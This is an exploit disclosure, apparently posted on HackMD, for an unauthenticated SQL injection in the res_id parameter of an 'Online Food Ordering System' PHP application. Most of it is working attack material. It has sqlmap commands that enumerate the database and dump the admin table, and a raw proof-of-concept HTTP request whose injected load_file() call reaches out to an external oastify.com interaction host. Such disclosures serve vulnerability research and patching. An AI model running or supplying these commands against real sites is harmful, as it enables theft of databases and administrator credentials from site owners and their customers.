# Online Food Ordering System Unauthenticated Sql Injection * Exploit Date: 7/25/2022 * Exploit Author: Leu Xuan Hieu # Exploit * Injection Point => `/dishes.php?res_id=` ![](https://i.imgur.com/qdPtouQ.jpg) * Used Burp Suite capture request then save as `food.txt` ```python= python3 sqlmap.py -r food.txt -batch -current-db ``` ![](https://i.imgur.com/kLRKlCD.png) ```python= python3 sqlmap.py -r food.txt -batch -D onlinefoodphp -tables ``` ![](https://i.imgur.com/36uDA3J.png) ```python= python3 sqlmap.py -r food.txt -batch -columns -D onlinefoodphp -T admin -dump ``` ![](https://i.imgur.com/J4SlcXJ.png) # POC * Request ```python= GET /OnlineFood/dishes.php?res_id=4'%2b(select%20load_file('%5c%5c%5c%5c1ik2qvhgl8xqcydf43rujd4j6ac302otrhi48sx.oastify.com%5c%5cztc'))%2b' HTTP/1.1 Host: 192.168.1.101:8888 Cookie: PHPSESSID=311teftqpf9mla9pmac7o6sfq7 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Upgrade-Insecure-Requests: 1 Referer: http://192.168.1.101:8888/OnlineFood/ Accept-Encoding: gzip, deflate Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36 Connection: close Cache-Control: max-age=0 ```
Last changed by  
 
Hieu X. Leu
4068
Published on HackMD